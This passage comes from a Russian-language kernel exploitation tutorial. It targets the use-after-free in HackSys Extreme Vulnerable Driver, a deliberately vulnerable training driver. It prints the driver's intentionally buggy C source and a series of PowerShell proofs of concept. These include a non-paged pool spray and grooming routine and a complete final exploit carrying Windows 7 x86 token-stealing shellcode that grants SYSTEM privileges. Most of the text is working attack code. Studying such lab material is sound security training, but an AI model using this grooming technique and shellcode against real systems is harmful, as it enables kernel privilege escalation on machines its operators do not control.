    NTSTATUS Status = STATUS_SUCCESS;
    PUSE_AFTER_FREE UseAfterFree = NULL;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Allocating UaF Object\n");

        // Allocate Pool chunk
        UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
                                                              sizeof(USE_AFTER_FREE),
                                                              (ULONG)POOL_TAG);

        if (!UseAfterFree) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
        }

        // Fill the buffer with ASCII 'A'
        RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);

        // Null terminate the char buffer
        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';

        // Set the object Callback function
        UseAfterFree->Callback = &UaFObjectCallback;

        // Assign the address of UseAfterFree to a global variable
        g_UseAfterFreeObject = UseAfterFree;

        DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
        DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
        DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Функция выделяет чанк невыгружаемого пула, заполняет его буквой A, добавляет указатель обратного вызова и добавляет терминатор null. Примерно такая же история в IDA. Скриншот ниже можно использовать для справки. Обратите внимание, что размер объекта составляет 0x58 байт, а тег пула - "Hack" (little-endian).

1.png


Мы можем использовать следующий PowerShell POC код для вызова функции.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

2.png


Функция FreeUaFObject

C:
NTSTATUS FreeUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);

#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

            g_UseAfterFreeObject = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
            // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Довольно просто. Она освобождает чанк пула путем ссылки на значение тега. Это функция, которая содержит уязвимость в том, что g_UseAfterFreeObject не имеет значение null после освобождения объекта и поэтому сохраняет указатель устаревшего объекта. Опять же давайте быстро попробуем это со следующим POC.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

3.png


Обратите внимание, что адрес чанка пула совпадает с адресом, который мы выделили выше.

Функция UseUaFObject

C:
NTSTATUS UseUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObject->Callback) {
                g_UseAfterFreeObject->Callback();
            }

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Эта функция читает значение "g_UseAfterFreeObject" и выполняет обратный вызов объекта. Если мы вызываем эту функцию со следующим POC, мы, в сущности, в конечном итоге вызываем энергозависимую память, потому что система свободна перераспределять ранее освобожденный кусок пула по любой причине, которую считает нужной.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

Функция AllocateFakeObject

Наконец у нас есть функция драйвера, которая позволяет нам размещать поддельный объект в невыгружаемом пуле. Очень удобно, так как эта функция позволяет нам размещать объекты, идентичные исходному объекту UAF.

C:
NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
    NTSTATUS Status = STATUS_SUCCESS;
    PFAKE_OBJECT KernelFakeObject = NULL;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Creating Fake Object\n");

        // Allocate Pool chunk
        KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
                                                               sizeof(FAKE_OBJECT),
                                                               (ULONG)POOL_TAG);

        if (!KernelFakeObject) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
        }

        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));

        // Copy the Fake structure to Pool chunk
        RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));

        // Null terminate the char buffer
        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';

        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

POC для вызова этой функции показан ниже. Обратите внимание, что здесь нам нужно создать буфер и указать длину ввода.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len 0x60
[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

4.png



Поимей всё что движется

План игры


Хорошо, основной принцип прост.
- выделяем объект UAF,
- освобождаем объект UAF,
- заменяем чанк пула нашим поддельным объектом,
- вызываем устаревший указатель UAF и в итоге выполняем код с функцией обратного вызова из нашего поддельного объекта.

Красиво и просто!

Единственные проблемы, с которыми мы можем здесь столкнуться, - это выравнивание памяти и объединение блоков пула. Опять же, я рекомендую вам прочитать статью Tarjei. (http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf) По сути, если мы освобождаем объект UAF и он находится рядом с другими порциями свободного пула, то распределитель объединит эти порции по соображениям производительности. Если это произойдет, маловероятно, что мы сможем заменить объект UAF нашим собственным поддельным объектом. Чтобы избежать этого, нам нужно перевести невыгружаемый пул в предсказуемое состояние и заставить драйвер размещать объект UAF в месте, которое мы можем надежно перезаписать позже!

Дерандомизировать невыгружаемый пул

Наша первая цель здесь - заполнить как можно лучше все пустые места в начале невыгружаемого пула ядра. Для этого мы создадим тонну объектов с размером, близким к нашему объекту UAF. Объекты IoCompletionReserve являются идеальным кандидатом для этого, поскольку они размещены в невыгружаемом пуле и имеют размер 0x60!

Во-первых, давайте посмотрим на тип объекта IoCompletionReserve, прежде чем мы распылим данные в пуле (типы объектов могут быть перечислены с помощью "! Object\ObjectTypes").

5.png



Мы можем использовать функцию NtAllocateReserveObject для создания объектов IoCo. Эта функция возвращает дескриптор созданного объекта, и пока мы не освободим дескриптор, объект будет оставаться в пуле. В приведенном ниже POC я распыляю эти объекты в два сеанса:

- x10000 объектов для заполнения фрагментированного пространства пула и
- x5000, которые, мы надеемся, должны быть последовательными.

В целях отладки скрипт дампит последние 10 дескрипторов в стандартный вывод, а затем автоматически инициализирует точку останова в отладчике WinDBG.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
      
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@

function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
}

echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray

echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}

echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

Вы должны увидеть что-то вроде этого и достичь точки останова в отладчике WinDBG.

6.png


Если мы еще раз посмотрим на тип IoCompletionReserve, мы увидим, что мы фактически выделили 15000 объектов!

7.png


Давайте проверим один из дескрипторов, который мы сдампили на стандартный вывод.

8.png


Как и ожидалось, это объект IoCompletionReserve. Кроме того, учитывая, что это один из последних дескрипторов нашего распыления, у нас должны быть последовательные распределения в невыгружаемом пуле

9.png


Мы можем видеть размер нашего объекта 0x60 (96) байт и некоторые стабильные последовательные выделения! В качестве последнего шага мы добавим подпрограмму в наш POC, чтобы освободить каждый второй объект IoCompletionReserve от нашего второго выделения (всего 2500), чтобы создать дыры в невыгружаемом пуле!

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
      
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@

function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"

    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}

echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray

echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}

echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

10.png


Эти 2500 свободных блоков размером 0x60 байт теперь находятся в предсказуемом месте, и каждый из них окружен двумя выделенными фрагментами, что предотвращает их объединение в нечетные размеры!

Получить контроль над EIP

Время собрать все вещи вместе в соответствии с нашим планом игры.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@

function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"

    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray

echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

# Fake Object allocation
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}

# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

Давайте установим точку останова в функции UseUaFObject, где вызывается указатель обратного вызова и запускаем наш последний POC.

11.png


Конец игры

Чтобы превратить в оружие наш POC, все, что нам нужно сделать, это заменить указатель обратного вызова указателем на наш шеллкод. Для получения более подробной информации, пожалуйста, обратитесь к полному эксплоиту ниже.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
}
"@

function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"

    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}

# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)

# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray

echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

# Fake Object allocation
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = $ShellcodePointer + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}

# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

12.png
 
Часть 16: Эксплуатация Ядра -> Переполнение пула

